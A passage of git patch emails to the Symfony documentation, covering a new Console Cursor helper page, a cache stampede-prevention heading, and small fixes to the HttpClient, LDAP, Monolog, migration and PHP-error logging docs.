z8B^$KWUE`%cb{EBz@0EFc0%0eFs>j!hUwI!Y6*EBrc1}g!1UyZ!bD%$8K;f_L@05p
zcvmLo6@4C8bS(PO@w}OXNlYB?1@Fs8GIzhC^U4}eESCM(s_j9)DA@RLnuxIladFw{
zCWgNWSA!#Cpo1#LfH?&=c6QKnhhx@2^HF~RoV^hFBL+FN7*uOMa69B9eRobQX;+y@
z;E3`CWKAqdJrP3_N!fU-W#9ZQd0=zOWNVEb+q_h0|8ve|Ykhd2dAV*fC^2K>t>zYP
z%bc|<#7o=^_&9x*uhag30J2T+-GtE^|9kJNy)DDhQ7oAQNPkN2onI*8wW|ce%8HM)
z?_Zu4C-FUQBq#@gRE89=h$aaTg}?rs&wB?BNRoi>WCXCni6-ou!Z|)bCCD|5?8L#P
ziVy))@SW@s6dhE>UvHcCHerBm9l#TPL>BMez;-x<BnhU7%ln1Ol0t1}NHUe7M^i$N
zq@e6qL-%Um$5TR2_;Ecgq0a92or=WH72Q8uf8W(G?1JIlc1e=FJE?OBz7rzhrAYI2
z#G5H$+ZcB{>)hstZpga_`8fso)rZdyxv42r0^hiWI8lUF!XszGeYRHbsQCtkIE5xU
zMLby5nUo}@6-A_~grH#Fpedlh3Cms$7ei7xd{nS9L}oRDv`Q&O0;$Nm(@K$fD%ASb
zJ9#P;xL;(3Q&2@p2&<D?+6h&!Ms}n`b=F694@dQ`M)gZYvkjwPI7Pqmi++<5JzO6>
zIvo9WHF`oShQlo`u8*)#p&~*e6-a;vgRH{2tIdfKhhjg?gs8x&SSdIbL&Z{Jpqv<~
z9BQ&54dG1V9f71ep<FBY!VLV=Doq3(CsZu9g8|n2QN?laUq~>C7i^h{<wM8I8O102
z1*0H@1_?lf02(9lT5Ivxk@#Ol@kyM0+Xq81TQETQEAJcH^&eL8zdbEocn#J)Arz>F
zrq0zT9%(=sq2aq=*Dja=XlDRLNF3vpu$qM%8zuhsw2Y{QvY_W?fF=gg=n~ghORP7A
zPI2OlQWGxC%3mG<a-|adQj@Qu9|Vmg-;F>$REAFA0Yz54Z?PCUH6>yM`ih0(@jPrx
zxF!z1n}iDNO5}Q4Y}b-AMpAdD#+52TZIbXWoj~pkP?Va+^|WYl;?>u}q-Z?#A^gjX
zcyU4^*uwvf5g(>X)9OlNrKasgWwaP&v~{Jm`)8D-W^_lS^^Rl=6lV<jXS}q|c<r2_
zHki?qnmIa~!L_v@Dl@ii&1QmwDUBnbwGldc<Tr?rK*3iqkS+w*#b#&uXRmgp%3}ev
z>Aw9CTn9qeTSHr^s5va857B?5W($qd&oyMrR3dF~Nkz_}9zk5fBS&2|d&h<B_k{TD
zl*AtmTmS%}19H@E{Pwh{q={*)=W0^Lu-&<Pwe!?}+gftDwifBMT&}G}YdueU6lG@o
zQ1;kElkPn0v^;AYNI~EsiU=q}pgxqPg@JS+dO}=2qLTjEKTv28(1hiSa6K&^5fD|3
z3pzeF<e#SIUl%}K3@EsDy6{j+fsAR2t6cucQAp4xTbGr8+qfu{iT9(5kv(LU2*Am$
z(E@#ZK8aa$-?%tYU~hPu*i9y84+AilMwl+f+&EpFYg|(1Q!Kl?AXs2$x&X?Wm=9DI
zJd`f264+U=PLk}7=gR$bx!V(X9xx=0VO;vmxGd&asc;LAJf^^{OKpjfg(Bvp+LXO8
zF1NZ+CUhaYB7QIUwHO7JzgjQnFi~&1Ar%-k&|fKoCa>)Oz+1ZF^LoVx8wkTH8fTWd
zIi#<!Zi^Ehei?l<DgDUD<B{8YK^q$4R{-OuO|Iqc;_?@uKC7aF$`CWD)ZB|u!&OS9
zS4uZl%8pg;+^EFJRLPlCDY#TA1y-q~SE)5tX^d5AZB$`ps&!1NbzQ3Uw*spT)2oeT
z&_a#X2R5p4GBtJPxt<<5<g|Qc2!7QVfU~mAHfn;b;fGv6=hNBF%mQ&*%>Xk1KlYg5
zoNcKN{<!*BhnV9!_t;%MF?cRhq=!pY!GW||AN53iEa=HBh@C4uX;c>!NISs+bZKcS
zG>{-I)~rUmlU|?XgbtYpZqFj$FN!SV(@`v*_|zh5dV>H3(Bx!DNWuRQgFmIm>al@_
zl7^y4k~yoP=qmh-Eo7tuYLXg?T^a?R-&Vvh0F>x=Tmz8PSS!;M=*p9ED!XV6{$9DM
zJKc-htEZ0x^x5^dRiT?Sk+}z1J?T&OwE8=E<`g*tm@Q(CtP#QlpF0}ZtobtQ)9e#1
zB3u$yriN>rF?pIlS98HOrAQT!!#&*;)bg}RQC=@pD0%wRh2{3G$bX~EQN6K8pqO`)
zb;S%+3CRD%-y(5FiD#bWXmanQZ_7?ubpLu`@p_BGf|SvRMky3ivFX`G(;#!TbPd_o
zi>8PrwO0Mj9ULrEB&c;?nb@p<uvbUH{(Wr~9Vm6oQ;Uo?o2IrSZ(D=9A=O2u-M;6J
zXPzfc<(_MW0$s#2=gUtnJPy`}tU1MY;i%&m7_sl3pWm#BA&A5a?m}^pZ)D&LP&Smq
z|Blg!7zBp9q0iP(yb07DP~o{*Z6wcckCC8nv9jflK*x?iYa~Gc4s@5a-#=4r$3npm
zL!)V3K%9I=xJ(knlp_Fc>QHA7ln4t@!~t51KtMp3!A1v)^b9~T6KzGm@^{P<M3(T%
zjr>f6HZsGd1&V8GmSx_fAxhl4sx+!$oH8)3gG)1;)2@%HLGOsyfe`RnZ@NGvN&=_Q
zz$rDw6nu(k8xX1nSdbCB1EJj!iD?mzYw})e%#^9TyKon{f#P)mORVdKbNc5OD#scM
z-~_k{DIsv9Hb)YG6XStnfP4UGOhfR>0Kg8o5*>)_X0%Y#4tpg@XhQ3yPa^}mg-lsI
z-c=hm*(W@bi;QYjwrKeh9w3&Gyb$?Pg$C$wfW0_SW28c;5;!^r`IZ7|<1Z9kxHqCy
znhGeKZqZ>pCo{8e`&Sm)W@CwfIOFN0AaLCUP@)w(biep)GN`ziEgA4wQU-3(_iERC
zrp8(ke!Wv@cfJF&plGd4DkM#{4+u>yw!ZU5j`TP~nvPy?E4s?~4(mW+MK{%kkd4jg
z5^!8#C}s@s(}X^ud$LZ02DE!X3$GUub^seEd;?}mLtNhv8F+&`IzfI}IEaCwJ^{R*
zqH1N&5~C|0*yR?f7L2X6wQFRHodF;3fCpbmUYF@9KY4Yt7u=yzAYoj4Xh;6(v0))?
z(b28-F{#KjrZJ2M0~xS@#f=g*Ou@Ui5HA}tr3IeSfD&*}(%MArI8-;@FQg5Om5+_@
z7tIlv;OmL!A&#9jZrtzkXs0F&hJgxcC<`{IODjF0_I$@~!8{DK+6M`#7x0!oo3P_Z
zsW%G1co8>XCfG-jX|FDJ7rL{cKkp!ESO~!U#(*d~9ONDotQ5GzekX&1#j+su;-C_H
zc%Ieuo!zPMtD@8xdVq!W%7&EjIa4N(BVi(C2mBa*0)-Vwfbsv>59u|7#2%;y2T=)p
zC<b7_h8m*Vjm$;me|;32&k`WPW}RU5Yfl@-8irjyG~&7Uk!G_6!74EVGVeZsIlQG9
zh|Bd5sBTajwub{aGdc3VL}a3-e^Jw}3iD>+VOK_=wogFeQRv56n5YSaq{T_%QY6_)
z(6K3ys{p@4$n1m@PEUah)`_z~gMsKD-$cGFzNCMClv)BB5Z@gTMtK^8I(RsWi`O6_
z(DaSav8%l42x8<rW5Pfy1h-<t4oBoxV;~FMAj~Eu=aljv7e%{7ntFCt=$H3Ls^zn7
z!4p)(c^F-f9$$R`tahoDOar(!TRj}0P6D(Uj}Bn_m63opG4K)wk~9Voc!0UyOfHR|
zU+k$nBH9r6MNFm)U0GBu=zU#%(15;Ry2j25(}b)<CMAc#SAC!fCoW?;OUDm1U=(Of
z0y%sm_R&vNo>pG61s&#kPp&Tk>P78M$weO74o?dlY_jwipnuax6qlaS8rPeaUI@(G
z^ZxQ9tyE=vPz{$W*j$u;?hR1-)WIe<6kQgXR_b7r5}5`^WAdH5SCp}!J{#nruHvsR
zS5aSgm%P|;&UVP2%lg@|{WRz>nl<6Sw)(apSi0w~aFN5KuX=>0%LA*eHn~Y<{p<5@
zk`^-CqtdRGuT`jR2pw4icNbOedrV{k;<Wr{p8&y_^|tey4^rlC^r5`x%3Dg>)y|7+
z-mL?)-*$U!PW}fEE0>wUCg6(yg&3|4)Kf*C9O6s~%N~y1sm+bqs(Q%fWWT%6ev9G!
zCO!{~ZcH6X`AZD1E*#)`SfxKI)%>l7G80t(62miX9?#*fjh1<gpVsD{@FTSTZ!ui(
zboDav^k^ONL)ss<@#SxSN4B25x<c2D3g&sS!^rQ;3s%^+=|g88Gv0H>@cAf-#7gt-
z_~_I9y$#jV19Wrsq*`Y=UH9DM@@-{Iy)O5@T%DUgb@e}uX{7dLmHVJSPqISPBNx5=
zZoF^jdRXsnrhY-Tp519OMRdLu#udKLr##8|BYYfvck8;;-JGgVg2_h8p97z4EF)eY
z_R}KXA@+9%O^5df*9TLc^AtsqI$rxuIu5}6Fo!Djq(Zy}k3Kx2jphFi-4}75fx?8Z
z4nyHW{+$p-FrprcK)qK8!Kqua-$!b+&*Vm73*0|M``KYaV)oTiE?LMP5r1gDU!vhd
z+%_WC)!b6QAunFkXhb2=LhkD2I7c1-KOb0Y`Nt<84Ex`l%)OwPd&19>0rFjM=bz5-
zarjYSzT*~$ohkfhgK`T0+6a^_#NQ3&2%<-)a-;O;X7Xs3YX3PW!{-owb22I!Us4;O
zW>LX(5%4T4>9<iYsh#lfs9+xWNUo^Y|M=_?>$93h<#S_QugZ3v8jb31Il;0=y%jcd
ze{(Xe8M4h}fw-2<hb+fybywfe<C&_Jk@1bnEuQgBii6xv5WauLVjhI^!h&JDxbIsu
zto)Fa)$fSle}>uqu1fwLyZC>@m%rb)e{tD=!IxW|7s!Zg?upVLs+C;AVH(MMHo#H!
zMWM-WF8i1ZU!1Bv#=E)j<sa|c%Mwi|&~+^K`u=ur!{kfj(Y|_9PyQJU`QIiACjSdj
CRX|7p

literal 0
HcmV?d00001

diff --git a/components/console/helpers/cursor.rst b/components/console/helpers/cursor.rst
new file mode 100644
index 00000000000..63497faed0d
--- /dev/null
+++ b/components/console/helpers/cursor.rst
@@ -0,0 +1,101 @@
+.. index::
+    single: Console Helpers; Cursor Helper
+
+Cursor Helper
+=============
+
+.. versionadded:: 5.1
+
+    The :class:`Symfony\\Component\\Console\\Cursor`
+    class was introduced in Symfony 5.1.
+
+The :class:`Symfony\\Component\\Console\\Cursor` allows you to change the
+cursor position in a console command. This allows you to write on any position
+of the output:
+
+.. image:: /_images/components/console/cursor.gif
+   :align: center
+
+
+.. code-block:: php
+
+    // src/Commande/MyCommand.php
+    use Symfony\Component\Console\Command\Command;
+    use Symfony\Component\Console\Cursor;
+    use Symfony\Component\Console\Input\InputInterface;
+    use Symfony\Component\Console\Output\OutputInterface;
+
+    class MyCommand extends Command
+    {
+        // ...
+
+        public function execute(InputInterface $input, OutputInterface $output)
+        {
+            // ...
+
+            $cursor = new Cursor($output);
+
+            // moves the cursor to a specific column and row position
+            $cursor->moveToPosition(7, 11);
+
+            // and write text on this position using the output
+            $output->write('My text');
+
+            // ...
+        }
+    }
+
+Using the cursor
+----------------
+
+Moving the cursor
+.................
+
+There are fews methods to control moving the command cursor::
+
+    // moves the cursor 1 line up from its current position
+    $cursor->moveUp();
+
+    // moves the cursor 3 lines up from its current position
+    $cursor->moveUp(3);
+
+    // same for down
+    $cursor->moveDown();
+
+    // moves the cursor 1 column right from its current position
+    $cursor->moveRight();
+
+    // moves the cursor 3 columns right from its current position
+    $cursor->moveRight(3);
+
+    // same for left
+    $cursor->moveLeft();
+
+    // move the cursor to a specific position from its current position
+    $cursor->moveToPosition(7, 11);
+
+You can get the current command's cursor position by using::
+
+    $position = $cursor->getCurrentPosition();
+    // $position[0] // columns (aka x coordinate)
+    // $position[1] // rows (aka y coordinate)
+
+Clearing output
+...............
+
+The cursor can also clear some output on the screen::
+
+    // clears all the output from the current line
+    $cursor->clearLine();
+
+    // clears all the output from the current line after the current position
+    $cursor->clearLineAfter();
+
+    // clears all the output from the cursors' current position to the end of the screen
+    $cursor->clearOutput();
+
+    // clears the entire screen
+    $cursor->clearScreen();
+
+You also can leverage the :method:`Symfony\\Component\\Console\\Cursor::show`
+and :method:`Symfony\\Component\\Console\\Cursor::hide` methods on the cursor.
diff --git a/components/console/helpers/index.rst b/components/console/helpers/index.rst
index 5f328d47472..09546769655 100644
--- a/components/console/helpers/index.rst
+++ b/components/console/helpers/index.rst
@@ -13,6 +13,7 @@ The Console Helpers
     questionhelper
     table
     debug_formatter
+    cursor
 
 The Console component comes with some useful helpers. These helpers contain
 functions to ease some common tasks.
diff --git a/components/console/helpers/map.rst.inc b/components/console/helpers/map.rst.inc
index 68e1e722a87..8f9ce0ca0f3 100644
--- a/components/console/helpers/map.rst.inc
+++ b/components/console/helpers/map.rst.inc
@@ -4,3 +4,4 @@
 * :doc:`/components/console/helpers/questionhelper`
 * :doc:`/components/console/helpers/table`
 * :doc:`/components/console/helpers/debug_formatter`
+* :doc:`/components/console/helpers/cursor`
diff --git a/components/console/helpers/progressbar.rst b/components/console/helpers/progressbar.rst
index ebdcaba1d64..4f1dd8fe3a5 100644
--- a/components/console/helpers/progressbar.rst
+++ b/components/console/helpers/progressbar.rst
@@ -349,7 +349,7 @@ placeholder before displaying the progress bar::
     // 0/100 -- Start
 
     $progressBar->setMessage('Task is in progress...');
-    $progressBar->advance();    
+    $progressBar->advance();
     // 1/100 -- Task is in progress...
 
 Messages can be combined with custom placeholders too. In this example, the
diff --git a/console.rst b/console.rst
index aa23bddbffd..b4add295fd4 100644
--- a/console.rst
+++ b/console.rst
@@ -446,5 +446,6 @@ tools capable of helping you with different tasks:
 * :doc:`/components/console/helpers/table`: displays tabular data as a table
 * :doc:`/components/console/helpers/debug_formatter`: provides functions to
   output debug information when running an external program
+* :doc:`/components/console/helpers/cursor`: allows to manipulate the cursor in the terminal
 
 .. _`exit status`: https://en.wikipedia.org/wiki/Exit_status

From 7565926922b3e680c1b33664a6bd928c7d666206 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Thu, 17 Jun 2021 13:05:16 +0200
Subject: [PATCH 0945/5766] [#15270] Minor fixes

---
 .doctor-rst.yaml                      |  1 +
 components/console/helpers/cursor.rst | 17 ++++++++++-------
 2 files changed, 11 insertions(+), 7 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 9f54edf0023..c283db8ecc5 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -103,3 +103,4 @@ whitelist:
         - '.. code-block:: twig'
         - '.. versionadded:: 3.6' # MonologBundle
         - 'End to End Tests (E2E)'
+        - '.. code-block:: php'
diff --git a/components/console/helpers/cursor.rst b/components/console/helpers/cursor.rst
index 63497faed0d..da450925fc3 100644
--- a/components/console/helpers/cursor.rst
+++ b/components/console/helpers/cursor.rst
@@ -6,8 +6,8 @@ Cursor Helper
 
 .. versionadded:: 5.1
 
-    The :class:`Symfony\\Component\\Console\\Cursor`
-    class was introduced in Symfony 5.1.
+    The :class:`Symfony\\Component\\Console\\Cursor` class was introduced
+    in Symfony 5.1.
 
 The :class:`Symfony\\Component\\Console\\Cursor` allows you to change the
 cursor position in a console command. This allows you to write on any position
@@ -16,10 +16,11 @@ of the output:
 .. image:: /_images/components/console/cursor.gif
    :align: center
 
-
 .. code-block:: php
 
-    // src/Commande/MyCommand.php
+    // src/Command/MyCommand.php
+    namespace App\Command;
+
     use Symfony\Component\Console\Command\Command;
     use Symfony\Component\Console\Cursor;
     use Symfony\Component\Console\Input\InputInterface;
@@ -29,13 +30,14 @@ of the output:
     {
         // ...
 
-        public function execute(InputInterface $input, OutputInterface $output)
+        public function execute(InputInterface $input, OutputInterface $output): int
         {
             // ...
 
             $cursor = new Cursor($output);
 
-            // moves the cursor to a specific column and row position
+            // moves the cursor to a specific column (1st argument) and
+            // row (2nd argument) position
             $cursor->moveToPosition(7, 11);
 
             // and write text on this position using the output
@@ -71,7 +73,8 @@ There are fews methods to control moving the command cursor::
     // same for left
     $cursor->moveLeft();
 
-    // move the cursor to a specific position from its current position
+    // move the cursor to a specific (column, row) position from the
+    // top-left position of the terminal
     $cursor->moveToPosition(7, 11);
 
 You can get the current command's cursor position by using::

From d3cb9b5633f9a0231f14a06d5ab3b0643cb86587 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Simon=20M=C3=B6nch?= <simonmoench@googlemail.com>
Date: Thu, 17 Jun 2021 13:39:54 +0200
Subject: [PATCH 0946/5766] Adds a heading for stampede prevention so I'm able
 to reference this section easily

---
 components/cache.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/components/cache.rst b/components/cache.rst
index a620206682f..0e5d865c2d9 100644
--- a/components/cache.rst
+++ b/components/cache.rst
@@ -90,6 +90,9 @@ generate and return the value::
     Use cache tags to delete more than one key at the time. Read more at
     :doc:`/components/cache/cache_invalidation`.
 
+Stampede prevention
+~~~~~~~~~~~~~~~~~~~
+
 The Cache Contracts also comes with built in `Stampede prevention`_. This will
 remove CPU spikes at the moments when the cache is cold. If an example application
 spends 5 seconds to compute data that is cached for 1 hour and this data is accessed

From 07b09f4a4e9821af62383b368892bc995f896d25 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 17 Jun 2021 15:09:06 +0200
Subject: [PATCH 0947/5766] Minor tweaks

---
 components/cache.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/cache.rst b/components/cache.rst
index 0e5d865c2d9..9a1b6611f8d 100644
--- a/components/cache.rst
+++ b/components/cache.rst
@@ -90,10 +90,10 @@ generate and return the value::
     Use cache tags to delete more than one key at the time. Read more at
     :doc:`/components/cache/cache_invalidation`.
 
-Stampede prevention
+Stampede Prevention
 ~~~~~~~~~~~~~~~~~~~
 
-The Cache Contracts also comes with built in `Stampede prevention`_. This will
+The Cache Contracts also come with built in `Stampede prevention`_. This will
 remove CPU spikes at the moments when the cache is cold. If an example application
 spends 5 seconds to compute data that is cached for 1 hour and this data is accessed
 10 times every second, this means that you mostly have cache hits and everything

From 3126da029c32088689008c720e56f9730a0da044 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Thu, 17 Jun 2021 20:09:21 +0200
Subject: [PATCH 0948/5766] [HttpClient] Import ServerSentEvent class

This PR adds the missing class import in the "Consuming Server-Sent Events" section.
---
 http_client.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/http_client.rst b/http_client.rst
index 967ab15699c..e34ae1e332b 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1264,7 +1264,8 @@ Symfony's HTTP client provides an EventSource implementation to consume these
 server-sent events. Use the :class:`Symfony\\Component\\HttpClient\\EventSourceHttpClient`
 to wrap your HTTP client, open a connection to a server that responds with a
 ``text/event-stream`` content type and consume the stream as follows::
-
+    
+    use Symfony\Component\HttpClient\Chunk\ServerSentEvent;
     use Symfony\Component\HttpClient\EventSourceHttpClient;
 
     // the second optional argument is the reconnection time in seconds (default = 10)

From 7aae9732f46388dfaa6a348fcf6308ab3f1e16cb Mon Sep 17 00:00:00 2001
From: Gordon Franke <info@nevalon.de>
Date: Thu, 17 Jun 2021 20:46:59 +0200
Subject: [PATCH 0949/5766] doc: update tip about authenticator-based Security

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index a12c4ad86e0..edebe4f8ec4 100644
--- a/security.rst
+++ b/security.rst
@@ -41,7 +41,7 @@ install the security feature before using it:
 .. tip::
 
     A :doc:`new authenticator-based Security </security/authenticator_manager>`
-    was introduced in Symfony 5.1, which will eventually replace security in
+    was introduced in Symfony 5.1, which will replace security in
     Symfony 6.0. This system is almost fully backwards compatible with the
     current Symfony security, add this line to your security configuration to start
     using it:

From 4df81cf65fb9c2fd172785a02701d83e7df912c8 Mon Sep 17 00:00:00 2001
From: Thibault RICHARD <thibault@widop.com>
Date: Thu, 17 Jun 2021 23:28:35 +0200
Subject: [PATCH 0950/5766] [Migration guide] Change Strangler App to Strangler
 Fig App
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Martin Fowler, the author of the article, update its post to rename the pattern because it has a violent feeling to it.

I'm making this PR to stick to the intention of the author and make this doc a bit more welcoming

You can find at the bottom of the linked article
> The original post was entitled “Strangler Application”, and when used, the pattern is often referred to as a “strangler”. But its usage often gets separated from its metaphorical root, and takes on a unpleasantly violent connotation.
---
 migration.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/migration.rst b/migration.rst
index 5f4089656dd..ce5bbbcd209 100644
--- a/migration.rst
+++ b/migration.rst
@@ -7,7 +7,7 @@ Migrating an Existing Application to Symfony
 When you have an existing application that was not built with Symfony,
 you might want to move over parts of that application without rewriting
 the existing logic completely. For those cases there is a pattern called
-`Strangler Application`_. The basic idea of this pattern is to create a
+`Strangler Fig Application`_. The basic idea of this pattern is to create a
 new application that gradually takes over functionality from an existing
 application. This migration approach can be implemented with Symfony in
 various ways and has some benefits over a rewrite such as being able
@@ -461,7 +461,7 @@ chance to use Symfony's event lifecycle. For instance, this allows you to
 transition the authentication and authorization of the legacy application over
 to the Symfony application using the Security component and its firewalls.
 
-.. _`Strangler Application`: https://martinfowler.com/bliki/StranglerFigApplication.html
+.. _`Strangler Fig Application`: https://martinfowler.com/bliki/StranglerFigApplication.html
 .. _`autoload`: https://getcomposer.org/doc/04-schema.md#autoload
 .. _`Modernizing with Symfony`: https://youtu.be/YzyiZNY9htQ
 .. _`Symfony Panther`: https://github.com/symfony/panther

From 74b6cf680ee4fa972abbef93094fafd9d1d64787 Mon Sep 17 00:00:00 2001
From: Romain Monteil <monteil.romain@gmail.com>
Date: Fri, 18 Jun 2021 08:02:22 +0200
Subject: [PATCH 0951/5766] Fix incorrect PHP example to exclude HTTP code with
 Monolog

---
 logging/monolog_exclude_http_codes.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/logging/monolog_exclude_http_codes.rst b/logging/monolog_exclude_http_codes.rst
index 4382b818437..a064370d0c5 100644
--- a/logging/monolog_exclude_http_codes.rst
+++ b/logging/monolog_exclude_http_codes.rst
@@ -52,12 +52,14 @@ logging these HTTP codes based on the MonologBundle configuration:
         use Symfony\Config\MonologConfig;
 
         return static function (MonologConfig $monolog) {
-            $monolog->handler('main')
+            $mainHandler = $monolog->handler('main')
                 // ...
                 ->type('fingers_crossed')
                 ->handler(...)
-                ->excludedHttpCode([403, 404])
             ;
+
+            $mainHandler->excludedHttpCode()->code(403);
+            $mainHandler->excludedHttpCode()->code(404);
         };
 
 .. caution::

From e5767e1037506ae8c436d78445563e688fad0c52 Mon Sep 17 00:00:00 2001
From: Hugo Alliaume <hugo@alliau.me>
Date: Sat, 19 Jun 2021 08:13:45 +0200
Subject: [PATCH 0952/5766] fix(symfony-cli): remove APP_ENV=test behaviour
 with the database

Our CI started to fail since the last Symfony CLI releases, because there is no APP_ENV=test behaviour with the database anymore with https://github.com/symfony/cli/releases/tag/v4.25.3 and/or https://github.com/symfony/cli/releases/tag/v4.25.2.

Looks like the solution is to do the same than symfony/recipes#939.
---
 setup/symfony_server.rst | 16 ----------------
 1 file changed, 16 deletions(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 7420a822ab6..f0723c20ea1 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -322,22 +322,6 @@ prefixed with ``DB_``, but as the ``com.symfony.server.service-prefix`` is set
 to ``DATABASE``, the web server creates environment variables starting with
 ``DATABASE_`` instead as expected by the default Symfony configuration.
 
-You don't need to create two containers for the main database and the test
-database. Using ``APP_ENV=test symfony`` will automatically adjust
-``DATABASE_*`` environment variables for the ``test`` environment:
-
-.. code-block:: terminal
-
-    $ symfony var:export --multiline 
-    export DATABASE_DATABASE=app
-    export DATABASE_NAME=app
-    export DATABASE_URL=postgres://app:app@127.0.0.1:49160/app?sslmode=disable&charset=utf8
-
-    $ APP_ENV=test symfony var:export --multiline 
-    export DATABASE_DATABASE=app_test
-    export DATABASE_NAME=app_test
-    export DATABASE_URL=postgres://app:app@127.0.0.1:49160/app_test?sslmode=disable&charset=utf8
-
 Here is the list of supported services with their ports and default Symfony
 prefixes:
 

From e6c5c29837f3e47f7d5c9bfb0be15ad763be379f Mon Sep 17 00:00:00 2001
From: Jason Johnstone <jason@johnstonemedia.com>
Date: Tue, 22 Jun 2021 12:00:49 -0500
Subject: [PATCH 0953/5766] Update ldap.rst

Add single quotes in filter option documentation
---
 components/ldap.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/ldap.rst b/components/ldap.rst
index 1d281a15e0d..08caf52b3e8 100644
--- a/components/ldap.rst
+++ b/components/ldap.rst
@@ -117,7 +117,7 @@ to the ``LDAP_SCOPE_BASE`` scope of :phpfunction:`ldap_read`) and ``SCOPE_ONE``
 
 Use the ``filter`` option to only retrieve some specific attributes:
 
-    $query = $ldap->query('dc=symfony,dc=com', '...', ['filter' => ['cn, mail']);
+    $query = $ldap->query('dc=symfony,dc=com', '...', ['filter' => ['cn', 'mail']);
 
 Creating or Updating Entries
 ----------------------------

From 24baf26a5223fe96507dda03f486198ebd244774 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 23 Jun 2021 12:59:38 +0200
Subject: [PATCH 0954/5766] [HttpClient] Add a note about concurrent requests

---
 http_client.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index a502730f1e7..5729c141eb2 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1001,6 +1001,13 @@ first and be read later on. This will allow the client to monitor all pending
 requests while your code waits for a specific one, as done in each iteration of
 the above "foreach" loop.
 
+.. note::
+
+    The maximum number of concurrent requests that you can perform depend on the
+    resources of your machine (e.g. your operating system may limit the number
+    of simultaneous reads of the file that stores the certificates file).
+    Make your requests in batches to avoid these issues.
+
 Multiplexing Responses
 ~~~~~~~~~~~~~~~~~~~~~~
 

From 91653b651d0aebc0fff33c2838c5d053e88107e7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 25 Jun 2021 10:51:19 +0200
Subject: [PATCH 0955/5766] Minor tweak

---
 http_client.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 5729c141eb2..b1fd989a44c 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1003,10 +1003,10 @@ the above "foreach" loop.
 
 .. note::
 
-    The maximum number of concurrent requests that you can perform depend on the
-    resources of your machine (e.g. your operating system may limit the number
-    of simultaneous reads of the file that stores the certificates file).
-    Make your requests in batches to avoid these issues.
+    The maximum number of concurrent requests that you can perform depends on
+    the resources of your machine (e.g. your operating system may limit the
+    number of simultaneous reads of the file that stores the certificates
+    file). Make your requests in batches to avoid these issues.
 
 Multiplexing Responses
 ~~~~~~~~~~~~~~~~~~~~~~

From dddaf2e91db773738b753f187fcc7940087f79c0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 23 Jun 2021 15:11:03 +0200
Subject: [PATCH 0956/5766] Document the option to map PHP errors to log levels

---
 reference/configuration/framework.rst | 63 +++++++++++++++++++++++++++
 1 file changed, 63 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index c037e0c3c29..286a4e530ae 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2845,6 +2845,69 @@ Use the application logger instead of the PHP logger for logging PHP errors.
 When an integer value is used, it also sets the log level. Those integer
 values must be the same used in the `error_reporting PHP option`_.
 
+This option also accepts a map of PHP errors to log levels:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            php_errors:
+                log:
+                    '!php/const \E_DEPRECATED': !php/const Psr\Log\LogLevel::ERROR
+                    '!php/const \E_USER_DEPRECATED': !php/const Psr\Log\LogLevel::ERROR
+                    '!php/const \E_NOTICE': !php/const Psr\Log\LogLevel::ERROR
+                    '!php/const \E_USER_NOTICE': !php/const Psr\Log\LogLevel::ERROR
+                    '!php/const \E_STRICT': !php/const Psr\Log\LogLevel::ERROR
+                    '!php/const \E_WARNING': !php/const Psr\Log\LogLevel::ERROR
+                    '!php/const \E_USER_WARNING': !php/const Psr\Log\LogLevel::ERROR
+                    '!php/const \E_COMPILE_WARNING': !php/const Psr\Log\LogLevel::ERROR
+                    '!php/const \E_CORE_WARNING': !php/const Psr\Log\LogLevel::ERROR
+                    '!php/const \E_USER_ERROR': !php/const Psr\Log\LogLevel::CRITICAL
+                    '!php/const \E_RECOVERABLE_ERROR': !php/const Psr\Log\LogLevel::CRITICAL
+                    '!php/const \E_COMPILE_ERROR': !php/const Psr\Log\LogLevel::CRITICAL
+                    '!php/const \E_PARSE': !php/const Psr\Log\LogLevel::CRITICAL
+                    '!php/const \E_ERROR': !php/const Psr\Log\LogLevel::CRITICAL
+                    '!php/const \E_CORE_ERROR': !php/const Psr\Log\LogLevel::CRITICAL
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
